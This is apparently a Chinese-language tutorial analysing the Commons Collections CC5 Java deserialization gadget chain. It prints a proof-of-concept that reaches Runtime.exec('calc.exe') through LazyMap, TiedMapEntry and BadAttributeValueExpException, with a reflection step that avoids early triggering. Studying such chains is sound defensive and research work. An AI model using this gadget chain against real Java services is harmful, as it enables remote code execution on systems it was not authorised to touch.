cc5的调用链和cc1 lazyMap调用链很相似,只不过cc5调用链最后触发get方法那里变成了TiedMapEntry的toString方法,然后利用BadAttributeValueExpException的readObject触发。
看一下poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> map=new HashMap<>(); Map outerMap = LazyMap.decorate(map, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "11"); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
Class<?> aClass = Class.forName("javax.management.BadAttributeValueExpException"); Field val = aClass.getDeclaredField("val"); val.setAccessible(true); val.set(badAttributeValueExpException,tiedMapEntry); unserialize("ser.bin");
|
通过poc我们发现直到lazyMap都是和cc1一样的调用,后面从Proxy改成了TiedMapEntry类
我们知道触发该条链是需要触发到LazyMap的get方法我们调试一下

我们找到了TiedMapEntry类里面的toString方法中调用了 getValue方法。这个有点熟悉在cc6中出现过跟到getValue中

发现调用了 get方法而我们在cc6中已将知道TiedMapEntry类的构造方法是可以直接对map这个属性进行赋值的

所以这里只需要找到可以触发该类toString的方法就可以
继续调试我们发现了
在BadAttributeValueExpException这个类的readObject中发现了调用了toString方法是由valObj触发的而valObj则是获得val属性的值,然后看看其构造方法

发现val是可控的,但是发现在构造方法里也调用了toString方法,所以在构造的时候不能传入TiedMapEntry对象,因为这回导致在序列化前就会rce所以我们需要在实例化完之后反射修改其属性值就可以了。
cc5调用链
